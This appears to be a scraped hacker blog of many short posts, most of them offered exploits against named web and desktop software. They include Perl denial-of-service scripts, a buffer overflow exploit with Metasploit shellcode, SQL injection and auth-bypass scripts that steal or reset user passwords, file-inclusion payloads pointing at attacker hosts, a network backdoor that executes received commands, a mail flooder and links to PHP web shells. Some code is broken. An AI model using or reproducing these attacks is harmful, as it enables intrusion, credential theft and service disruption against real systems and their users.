root@shell's Moddet Sourcecode Cracked.

Hey Guys.
Synsta Of root@shell released a Moddet C99 Shell,which he crypted by base64
and gzuncompress,pretty funny.
Here you can see the crypted one:
Crypted
And here the decrypted:
Decrypted

Synsta did you really think this was crypted good?

Regards.

Learn SQL Injection Step By Step(PHP)

Hey guys,I've written this for the Newbies of the Scene which wanna learn SQL Injection
of PHP.
I hope this will help you.
Learn it

IntellTraper Local DOS

Hey guys,found this in intel traper by including the *bad* xml file the application will crash.
This surely can be used as a remote flaw.
Exploit

Mozilla,IE6,IE7 Crash Bug.

Exploit
just put the file and the sound somewhere and go there ^^.

-SecKit-

Hey guys,
as you maybe saw in the last time i couldnt post that much.
i have been working on a WebKit(extremly secure) and made for IT's.
I still have to patch a lot.
But I will have finished soon. =]

So just keep cool,and wait ^^.

Zomplog(Final) Remote Code Execution

Hey guys.
Found this vulnerability in Zomplog.
Lfi.
If Magic quotes are off and register_globals = on it will work without any error.
here you go:
Exploit
enjoy

Win32 Functions In Perl.

this script should show you how to use the Win32 Function in perl :D
enjoy.

#!/usr/bin/perl

use Win32 ;

print "\nPC-Name:\t" ;
print Win32::NodeName();

print "\nDomain:\t" ;
print Win32::DomainName();

print "\nFilesystem:\t" ;
print scalar Win32::FsType();

print "\nArchitectur:\t" ;
print Win32::GetArchName();

print "\nChip:\t\t" ;
print Win32::GetChipName();

print "\nWorkDir.:\t" ;
print Win32::GetCwd();

print "\nOS:\t" ;
print Win32::GetOSName();

print "\nMilliSeconds:\t" ;
foreach (1..5) {
print Win32::GetTickCount(), " ";
Win32::Sleep 25 ;
}

print Win32::MsgBox('16',16), "\n";
print Win32::MsgBox('17',17), "\n";
print Win32::MsgBox('34',34), "\n";
print Win32::MsgBox('51',51), "\n";
print Win32::MsgBox('68',68), "\n";
print Win32::MsgBox('Flags auf 64+5',69), "\n";

Help to ByPass Rapidshare download limit.

Hey,
i just uploadet a pic up to rapidshare and i saw
it doesnt matter how big the pic is,rapidshare always will be trying to display it.
so you can input whole MP3's into 1 JPG and download the source code as MP3 ;)
it will work.
Enjoy-
edit:i think if u first crypt the files in base64 and then upload ,download and decrypt it will work better ;)
#released by Bl0od3r

PHP-SHELL L33t Mode.

Hi,
i just kiddet arround with my CHR crypt tool and i got the idea to crypt my
shell =]
works like a charm here u go:
http://x3r0.cwsurf.de/crypt.txt

Njoy =]

Denial Of Service PIC

#!/usr/bin/perl

#tech-bl0od3r.blogspot.com
print "\nPAINT Denial Of Service(Explorer.exe Crash)\n";
open(JPG, ">./omg.jpg") or die "cannot create file\n";
print JPG "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
print JPG "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print JPG "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print JPG "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print JPG "\x00\x00\x00\x00";
close(JPG);
print "Done....safed to lol.jpg\n";

#let some noob open the file...

A lot of Video-Hacking Tutorials

Enjoy guys.
http://137.132.19.24/security_course/vid_tutorials/

Qnews Sql Injection

http://host/shell/d/q-news.php?id=sql
http://hotscripts.com/jump.php?listing_id=22311&jump_type=1

LiveSelfChat(wow...)

Hey guys,heres something really cool.
its stolen from php.net ^^
but if im true...i was a bit too lazy to write almost the same shit again by myself =\
Whatever...this is a really nice application which will allow an user to write a message though telnet and it will be printed out on the scripts page in the same time ;)
error_reporting (E_ALL);
set_time_limit (0);
ob_implicit_flush ();
$address = '192.168.2.100';
$port = 8888;
if (($sock = socket_create (AF_INET, SOCK_STREAM, 0)) < 0) {
echo "socket_create() errord: Reason: " . socket_strerror ($sock) . "\n";
}

if (($ret = socket_bind ($sock, $address, $port)) < 0) {
echo "socket_bind() errord: Reason: " . socket_strerror ($ret) . "\n";
}

if (($ret = socket_listen ($sock, 5)) < 0) {
echo "socket_listen() errord: Reason: " . socket_strerror ($ret) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() errord: Reason: " . socket_strerror ($msgsock) . "\n";
break;
}
/* Anweisungen senden. */
$msg = "\nWelcome. \n\r" ;
socket_write($msgsock, $msg, strlen($msg));

do {
if (FALSE === ($buf = socket_read ($msgsock, 1024))) {
echo "socket_read() fehlgeschlagen: Grund: " . socket_strerror ($ret) . "\n";
break 2;
}
if (!$buf = trim ($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close ($msgsock);
break 2;
}
$talkback = "";
socket_write ($msgsock, $talkback, strlen ($talkback));
echo "$buf";
} while (true);
socket_close ($msgsock);
} while (true);

socket_close ($sock);
?>

Socket-Connection(VB.Net)

Hey guys,thats a good tutorial about socket connections in VB.NET.
http://www.eggheadcafe.com/articles/20020323.asp

enjoy =]

Your own server.(PERL)

Hey guys.
Ive just done some work with the IO::Socket in perl.
and i found out how to make ur own FTP or WebServer Programm.
Heres the code:
#!/usr/bin/perl -w

use IO::Socket;

my $server = new IO::Socket::INET->new(Listen => 10,
LocalPort => 80,
Reuse => 21) or die $!;
my $conn;
# Lese- und Such-Schleife
while ($client = $server->accept()) {
$client->autoflush(1);
print $client "Welcome dude.\r\n";
while (1) {
print $client "" ;
chomp( $cmd = <$client> ) ;
($what,$it)=split ":",$cmd;
if ($what eq "cmd") {
print $client system($it);
}
}
close $client;
}

LDAP Injection

Hey guys,
thats a nice tutorial about LDAP Injection(Lightweight Directory Access Protocol)
http://www.spidynamics.com/assets/documents/LDAPinjection.pdf

enjoy.

Anti-WebVulnScan.

Hey guys,i just thought about how to make a WebApplication Secure of a Security Scan
of 'Acunetix'
thats the answer:
#!/usr/bin/perl
#http://tech-bl0od3r.blogspot.com/
open(file, ">index.html");
$it=("A") x 99999;
print file "<\a href=".$it.">".$it."<\/a>";

close (file);

print "File:index.html successfully created.\n";
print "Now create a folder called:database and input this file\n";
print "Now you dont need to be scared of scans anymore ;)\n";

#eof

enjoy =]

Irc-PerlBot(New!)

This summary is not available. Please click here to view the post.

One-way WebHacking(Very good)

Great tutorial.
You just have to read it.
http://net-square.com/papers/one_way/one_way.html

Making Your Own Cryption in Perl(very easy)

#!perl
#this programm will replace any character from a-z with the next following.
print "Crypt:";
chomp($crypt=);
my $cr = $crypt;
my $length = length($cr);
for(my $i=0; $i<$length; $i++) {
$ok=substr($cr,$i,1);
&crypt($ok);
}


sub crypt() {
$crypt=shift;
#the next part is gonna be VERY EXTREMLY EASY there will be NO Regular Expression
#this is just there to show how to make ur own 'cryption' with perl,withOUT using Regular Expression.
#maybe im gonna make another one withIN Regular Expression soon.
if ($crypt eq "a") {
print "b";
}

if ($crypt eq "b") {
print "c";
}

if ($crypt eq "c") {
print "d";
}

if ($crypt eq "d") {
print "e";
}

if ($crypt eq "e") {
print "f";
}

if ($crypt eq "f") {
print "g";
}

if ($crypt eq "h") {
print "i";
}

if ($crypt eq "i") {
print "j";
}

if ($crypt eq "j") {
print "k";
}

if ($crypt eq "k") {
print "l";
}

if ($crypt eq "l") {
print "m";
}

if ($crypt eq "m") {
print "n";
}

if ($crypt eq "n") {
print "o";
}

if ($crypt eq "o") {
print "p";
}

if ($crypt eq "p") {
print "q";
}

if ($crypt eq "q") {
print "r";
}

if ($crypt eq "r") {
print "s";
}

if ($crypt eq "s") {
print "t";
}

if ($crypt eq "t") {
print "u";
}

if ($crypt eq "v") {
print "w";
}

if ($crypt eq "w") {
print "x";
}

if ($crypt eq "x") {
print "y";
}

if ($crypt eq "z") {
print "!";
}
}
#http://tech-bl0od3r.blogspot.com/

Making Your Own Cryption in Perl(regular expression)

print "Crypt:";
chomp($crypt=);
my $cr = $crypt;
my $length = length($cr);
for(my $i=0; $i<$length; $i++) {
$ok=substr($cr,$i,1);
&crypt($ok);
}


sub crypt() {
$crypt=shift;
$crypt =~ tr/abcdefghijklmnopqrstuvwxyz/bcdefghijklmnopqrstuvwxy~/;
$crypt =~ tr/ABCDEFGHIJKLMNOPQRSTUVWXYZ/BCDEFGHIJKLMNOPQRSTUVWXY~/;
print $crypt;
}
#of course this code could me made much strange and stranger and better but this is a #basic ;)
#http://tech-bl0od3r.blogspot.com/

CHR Crypter,Decrypter/CHR File Crypter

#!perl
#by Bl0od3r
while () {
print "\n\t~~~~~~~~CHR Crypter And Decrypter\n";
print("1.CHR Crypter
2.CHR Decrypter");
print "\n";
chomp($c=);
if ($c=="1") {
print "Crypt:";
chomp($crypt=);
my $cr = $crypt;
my $length = length($cr);
open(file, ">chr.txt");
for(my $i=0; $i<$length; $i++) {
$ok=substr($cr,$i,1);
print "chr(".ord($ok).").";
print file "chr(".ord($ok).").";
}
close(file);
}
#-------------------------------------------------------------------------------
if ($c=="2") {
print "Decrypt:";
chomp($de=);
print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print eval("$de");
}
}
#http://tech-bl0od3r.blogspot.com/


FileChrCrypter:
open(file, ">chrs.txt");
open IN,"yourfile";
while ($line=) {
$cr=$line;
my $length = length($cr);
for(my $i=0; $i<$length; $i++) {
$ok=substr($cr,$i,1);
print "chr(".ord($ok).").";
print file "chr(".ord($ok).").";
}}
#http://tech-bl0od3r.blogspot.com/

SuperScan 4.0 * Overflow

Hey guys,
i just found an overflow vulnerability in SuperScan 4.0 today.
Im still working on it,but here is the flaw:
HOST->Hostname/Ip/Url:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
(512 Buffer)
Programm will close with:
Access violation when executing [414141]

By changing the size of the 'attack string' you will get another access violation error.
ok it is vulnerable but unusable...
but here is the code(thx skOd) :
#by skOd
#4F2AC373 FFE4 JMP ESP(XP SP1 Hebrew!)

$eip="\x73\xC3\x2A\x4F";

# win32_exec - EXITFUNC=thread CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x40".
"\x3f\x3f\xdb\x83\xeb\xfc\xe2\xf4\xbc\xd7\x7b\xdb\x40\x3f\xb4\x9e".
"\x7c\xb4\x43\xde\x38\x3e\xd0\x50\x0f\x27\xb4\x84\x60\x3e\xd4\x92".
"\xcb\x0b\xb4\xda\xae\x0e\xff\x42\xec\xbb\xff\xaf\x47\xfe\xf5\xd6".
"\x41\xfd\xd4\x2f\x7b\x6b\x1b\xdf\x35\xda\xb4\x84\x64\x3e\xd4\xbd".
"\xcb\x33\x74\x50\x1f\x23\x3e\x30\xcb\x23\xb4\xda\xab\xb6\x63\xff".
"\x44\xfc\x0e\x1b\x24\xb4\x7f\xeb\xc5\xff\x47\xd7\xcb\x7f\x33\x50".
"\x30\x23\x92\x50\x28\x37\xd4\xd2\xcb\xbf\x8f\xdb\x40\x3f\xb4\xb3".
"\x7c\x60\x0e\x2d\x20\x69\xb6\x23\xc3\xff\x44\x8b\x28\xd0\xf1\x3b".
"\x20\x57\xa7\x25\xca\x31\x68\x24\xa7\x5c\x5e\xb7\x23\x3f\x3f\xdb";

$buff=("\x41"x636).$eip.("\x90"x70).$shellcode;

print($buff);

Web Application Auditing / And Exploiting

Hey gyus,i thought about writing a tutorial on how to audit web apps.
but when i think everything you need is inside this tutorial(of reZEN):
Web Application Auditing / And Exploiting

enjoy.

Camera FTP Server DOS

#!perl
#Vulnerability found by Bl0od3r
#visit http://tech-bl0od3r.blogspot.com/ to see much more.
#http://www.gymn.com/photography/cameraftpserver/
#download:http://www.gymn.com/photography/cameraftpserver/cameraftpserver.zip
use IO::Socket;
$buff=("A" x 9999);
$host=$ARGV[0];
if (@ARGV<1) {
print("Usage file.pl host.com\n");
exit;
}
while () {
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "21") || &error();
syswrite STDOUT,"+";
print $sock "USER ".$buff."\n";
print $sock "PASS ".$buff."\n";
syswrite STDOUT,"+";
}
sub error() {
die("\nError during connecting.Done?!\n");
}

XLA Tunes SQL Injection Vulnerability.

confkey->Password
confvalue->Username
Table:config
host.com/path/?mode=view&album=
-1%20UNION%20SELECT%20confkey%20FROM%20config/*

GiftList AuthBypass

http://x3r0.cwsurf.de/gift_list_auth_bypass.txt

Formbankserver 1.9 (Name) Remote Denial of Service Exploit

#!perl
#Vulnerability found by Bl0od3r
#http://tech-bl0od3r.blogspot.com/
#http://www.fersch.de/formbankserver/
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
- Hide quoted text -
use IO::Socket;
use warnings;
package exploit;
sub new { bless {} }
sub bar {
my $self = shift;
$self->{host}=$ARGV[0];
$self->{port}=$ARGV[1];
&start;
}
my $attack = exploit->new();
$attack->bar();


sub error() {
print("Connection Refused.Check the host now.It seems like its successfully attacked.");
}

sub start() {
$host=$ARGV[0];
$port=$ARGV[1];
$buff="/../" x 999;
die("No Host.") unless($host);
die("No Port.") unless($port);
for ($i=0;$i<99999;$i++) {
while () {
$buff.="BABA";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &error();
syswrite STDOUT,"+";
print $sock "GET /cgi-bin/formbankcgi.exe/Abfrage?Name=".$buff." HTTP/1.1\n";
print $sock "Connection: close\n\n";
syswrite STDOUT,"+";
}
}
}

# milw0rm.com [2006-12-31]

Formbankserver 1.9 (Name) Directory Transversal Vulnerability

#!perl
#found by Bl0od3r
#http://tech-bl0od3r.blogspot.com/
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
#developer:http://www.fersch.de/formbankserver/
use LWP::Simple;
sub usage
{
die("file.pl host.com /../file.txt");
}
$host= $ARGV[0];
$file= $ARGV[1];
if (!$host) {
die("No Host.");
} ; if (!$file) {
die("No File.");
}
getprint "http://".$host ."/cgi-bin/formbankcgi.exe/AbfrageForm?Name=".$ARGV[1]."%00";

# milw0rm.com [2007-01-01]

Exploitation Header(AUTH BYPASS)

->header()<-[The wrong code]
~hey guys i have written this paper to show
~you the exploitability of 'header()'
~most scripts have some code like this:/admin.php/
[ if ($_COOKIE['user']=="root" && $_COOKIE['pw']=="root") {
[ $login=true;}
[ else {
[ header("Location:../login.php");
[ }
~but damn,whats wrong here?
~well,just lets test
~yeah,if i go to admin.php i get redirected to ../login.php
~but the problem is,header() doesnt stop the script[Remember!]
~it just redirects you
~so GET and POST data still can be send
~by kind of 'crlf injection' you can prepare the headers for your use
~i just call it header injection ;)

Local-And Remote File Inclusions Explained

~Local - Remote File Inclusions~
~Lfi - Rfi~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hey guys,
after you have voted a lot i suggested to write a tutorial on how to find
rfi and lfi bugs in web scripts.
Usefull php.ini settings:
regsiter_globals=On //if a variable isnt defined,you can define via the browser,we will see later
maybe u willl also need to turn:
magic_quotes_gpc on to do things like %00
you can access the php configuration by:
phpinfo();
?>
or apache/bin/php.ini to change settings;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok as you know there are 2 kinds of file inclusions:
remote and local file inclusions.
But how does a typical code look like?
Here an example if register_globals is turned on
$a="/folder/";
$b="c";
include($script.$a);
?>
now you could execute by:
file.php?script=http://evilscript/script.txt?or %00
what will happen if you do;:
file.php?script=http://evilscript/script.txt
the script will try to include /folder/ too,
but thats senseless so it will ignore everything after ? or %00
For a local file inclusion you would have to do:
file.php?file=../etc/passwd? or %00
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
THe easier one,
include() by POST or GET datas.
script:
include($_GET['file']);
?>
then you would have to do:
script.php?file=http://evilscript/script.txt? || %00
for lfi:
script.php?file=local_script //etc/passwd
by post it would look like:
include($_POST['file']);
?>
then you would have to make a script like this

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I hope you enjoyed the tutorial , happy hacking =]

Papers-> SQL Injections

~Sql Injections in PHP~
Hey guys,
many ppl asked me how to perform a sql injection attack,so i suggested to write a tutorial
about it.
i just use the mysql standarts injection(if you know mysql you can change)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Basic Sql Injection(mysql_fetch_array);
some codes have this inside:
$query=mysql_query("SELECT * FROM users WHERE userID=".$_GET['id']."");

while ($row=mysql_fetch_array($query)) {
echo $row['author'];
}

if you would open the script by:
script.php?id=sql
you would get an error message like
mysql_fetch_array(): supplied argument is not a valid MySQL result resource in...
the problem is,we get no detailed error message(mysql_errno) so we have to try!
script.php?id=-1 UNION SELECT 1/*
ok,but why the -1 ?
u also could do:
-9999
or
-12
or 999999999999999
as long as the number is not existing.
but why?
just to give out nothing else.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
But damn,why the /*
its just there to 'close' the query.
for example:
..=SELECT * FROM users WHERE userID=".$_GET['id']." ORDER BY desc
u cant grep out things of the db in an order by clausel so you have to close the query b4fore order by
and this u simply do with /*
=]
So far so good,
but hm....
script.php?id=-1 UNION SELECT 1/* doesnt work for me =[
ok,just add characters(numeric) as long as something gets printed out =]
-1 UNION SELECT 1/*
-1 UNION SELECT 1,2/*
it doesnt matter which number u take ...
ANd anywhen you get a result.
So for example
There stands something like
UserId:1
UserName:2
and you have a injection like
-1 UNION SELECT 1,2 FROM users/*
you can change 1 to for example DATABASE()
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
More Advanced Injections mostly work with an 'where' implement.
for example
-1 UNION SELECT 1 FROM table WHERE id=1/*
this just greps out data of the id 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
IF you still have got any questions
just pm me Master9976@hotmail.de

I hope you liked the tutorial.
tech-bl0od3r.blogspot.com

PHP-SHELL Bl0od3rs

http://rapidshare.com/files/9809906/shell.txt.html

MD5 Cracker 1.2

http://rapidshare.com/files/9809794/md5.txt.html

PortScanner

#/usr/bin/perl -w
use IO::Socket;
print "\n";
print "# Perl-Port Scanner v 1.0 #\n";
print "\n";
print "Host:http://";
chomp($host=);
print "Scan until port:";
chomp($port=);
while ($i<$port) {
$i++;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>"$host",
PeerPort=>$i) && print "[Found]Port:".$i."";
print "[-]Port:".$i."\n";
}

Tool-> Mail Flooder 1.0 - Mail Script(Perl)

Flooder:
use IO::Socket;
print "\n";
print "# Mail Flooder v1.0 #\n";
print "\n";
print "Recipent:";
chomp($rmail=);
print "Subject:";
chomp($subject=);
print "Text:";
chomp($text=);
print "How often should the email be sent:";
chomp($time=);
while ($i<$time) {
$i++;
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"host.de",PeerPort=>"80") or die ("Mail Service closed");
print $socket "GET /sc.php?empf=".$rmail."&subject=".$subject."&text=".$text."&by=".$ymail." HTTP/1.1\n";
print $socket "Host: host.de\n";
print $socket "Connection: close\n\n";
syswrite STDOUT,"+";
}

Mail Script:
$empfaenger = $_GET['empf'];
$betreff =$_GET['subject'];
$text = $_GET['text'];
mail($empfaenger, $betreff, $text,
"from: $sender <$sendermail>");
?>

ilchClan denial of service

#http://www.ilch.de/

#!perl
use IO::Socket;
if (@ARGV<2) {
print "Usage:host path";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
while (1)
{
while (1) {
$|=1;
$data = "checked=Gelesen+und+einverstanden&nutz=OWNNNNNEDDD".$i."&email=homo".$i."@home.org&pass=hax0000000000000000rr";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die redo;
print $get1 "POST ".$path."index.php?user-regist HTTP/1.0\n";
print $get1 "Host: ".$host."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT,"+";
}}

print "[Done]\n";


#released by Bl0od3r

Msn Messenger 7.5 Local Dos

~Msn Messenger 7.5 Local Dos Bug~
Released by dC3 Security Crew.
-----------------------------------------
Status:High Critical
-----------------------------------------
Bug:
If you set up:
Îûî­ïîõòïïöø­îøîÿ­úòû­øüùù­öù­ñû÷î
As User Status Message Msn Will Crash and be down for a few days.
#released by Bl0od3r

Zomplog local file inclusion

use LWP::UserAgent;

print "\n";
print "# Zomplog Remote Source View #\n";
print "\n";
print "\nHost:http://www.";
chomp($host=);
print "Path(like:/zomblog/):";
chomp($path=);
print "File(../admin/config.php):";
chomp($file=);
print "Save result to file?[y/n]";
chomp($save=);
$ua = LWP::UserAgent->new();

$ua->proxy(["http","ftp"], "");

$request =
http::Request->new("GET","http://".$host.".".$path."upload/force_download.php?file=".$file."");

$file = $ua->request($request);

if ($file->is_success()) {print "OK\n"}
else {

print $file->message();
}
if ($save eq "y") {
open(file, ">result.txt");
print file $file->content();
print $file->content();
}else {
print $file->content();
};
close (file);

#released by Bl0od3r

Webdrivers sql injection

#Download:http://www.thewebdrivers.com/forum.zip

#!perl
use IO::Socket;
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
$id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET ".$path."message_details.php?id=-1%20UNION%20SELECT%201,password,username,4,4%20FROM%20tbl_register WHERE id=".$id."/* HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/ Re : -(.*?)-/ && print "--------------------------------------------\n[+]UserName: $1\n[+]PassWord:";
$ans=~ m/(.*?)<\/td>/ && print "$1\n";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
} else {
print "[-]Error";
}
}
sub header() {
print "\n";
print "# webdrivers.pl host /path/ 1 #\n";
print "\n";
exit;
}

#released by BL0od3r

Somery sql injection

#http://somery.danwa.net/somery0.4.6.zip
http://script.com/upload/index.php?call='UNION%20SELECT%201,2,3,password,5,6%20FROM%20somery_users/*

#released by Bl0od3r

Simple PHP disscussion sql injection

#Download:http://www.thewebdrivers.com/forum.zip

use IO::Socket;
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
$id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET
".$path."message_details.php?id=-1%20UNION%20SELECT%201,password,username,4,4%20FROM%20tbl_register
WHERE id=".$id."/* HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/ Re : -(.*?)-/ && print
"--------------------------------------------\n[+]UserName:
$1\n[+]PassWord:";
$ans=~ m/(.*?)<\/td>/ && print "$1\n";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
} else {
print "[-]Error";
}
}
sub header() {
print "\n";
print "# simple_php.pl host /path/ 1 #\n";
print "\n";
exit;
}
#released by Bl0od3r

Shadowed Portal auth bypass

use live http headers to send those


http://localhost/load.php?viv=Profile&do=edit&m=go&ls=8726796p6425k7211p89816m6916n62396179821931tvo21f79804394ms74sp389g954863312683sq


Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/load.php?viv=Profile&do=edit&m=go&ls=8726796p6425k7211p89816m6916n62396179821931tvo21f79804394ms74sp389g954863312683sq
qsf_user=2;
vusr=root;
Content-Type: application/x-www-form-urlencoded
Content-Length: 226

new_email=root%40home.org&new_website=&new_occupation=&new_interests=&new_avatar=&local_avatar=&new_password=omgs&new_signature=%3F%3E%27s%3C%3Fphp+echo+%22LOL%22%3B+%3F%3E&new_info=%3F%3E%27s%3C%3Fphp+echo+%22LOL%22%3B+%3F%3E

#released by Bl0od3r

Save Web Portal file include

--------------------------------------------
SaveWebPortal = 3.4(page) Remote File Inclusion Vulnerability
Downloadhttpwww.circeos.itfrontendtheme4index.phppage=downloads
--------------------------------------------
Vulnerable Code
php
....
if (strstr ($page, .php)
strstr ($page, .htm)
strstr ($page, .html)) {
include ($page);
....

--------------------------------------------
to inject succesfully you have to create a file called shell.html.txt or
shell.php.txt
otherwise it wont work!
--------------------------------------------
Affected File
index.php =]
--------------------------------------------
Vulnerability
httphost.comindex.phppage=httpmaster-boy.cwsurf.dec99.php.txt
--------------------------------------------

#released by Bl0od3r

sCssBoard 1.12 auth bypass

#http://sourceforge.net/project/showfiles.php?group_id=127090

#!perl
use IO::Socket;
if (@ARGV<3) {
&header();
} else { &start; };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$id=$ARGV[2];
$pw=$ARGV[3];
$post="password=".$pw."&email=root%40home.org&private_email=on&realname=&location=&signature=&tpp=15&rpp=15&style=grey.css";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST /forum/index.php?act=profile&update=now&u=".$id." HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Cookie: scb_uid=".$id.";\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+]Successfully changed password to:$pw of user_id:$id";
print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
}

sub header() {
print "\n";
print "# sCssBoard.pl host /path/ 1 pw #\n";
print "\n";
}
#released by Bl0od3r

PHPBB 2.0.19 with the Mx Addon Smile RFI(Founder)

....
include($module_root_path..);
....
?>
So would be really nice if you do this one onto milw0rm.com
Here:
# - Mx-Systems Modules Mutltiple Remote File Inclusion Vulnerabilities
#Affected Modules->File:
#Mx_kb->kb.php
#MX_links->mx_links.php
#Mx_Smartor->album.php
#Vulnerability:
#
#Google:inurl:"mx_*" OR "mx_*" (Replace * with your module)(be
#creativ if u want,and make ur own ^^
http://host.de/main/modules/mx_kb/kb.php?module_root_path=http://evilscript.com/script.txt?
>>http://www.host.de/modules/mx_links/mx_links.php?module_root_path=http://evilscript.com/script.txt?
>>http://www.host.de/modules/mx_smartor/album.php?module_root_path=http://evilscript.com/script.txt?
#released by Bl0od3r

Moonware sql injection

http://script.com/index.php.php?id=-1%20UNION%20SELECT%201,2/*

#released by Bl0od3r

Monkey boards auth bypass

#http://superb-east.dl.sourceforge.net/sourceforge/monkeyboards/monkeyboards-0.2.3.zip

#!perl
use IO::Socket;
if (@ARGV<4) {
&header;
} else { &start };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$passwd=$ARGV[3];


$post="action=password&user=".$user."&password=".$passwd."";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST ".$path."admin/users.php HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;
✓
sub header() {
print "\n";
print "# monkey.pl host /path/ admin yes #\n";
print "\n";
exit;
}


sub check() {
$post_c="username=".$user."&password=".$passwd."";
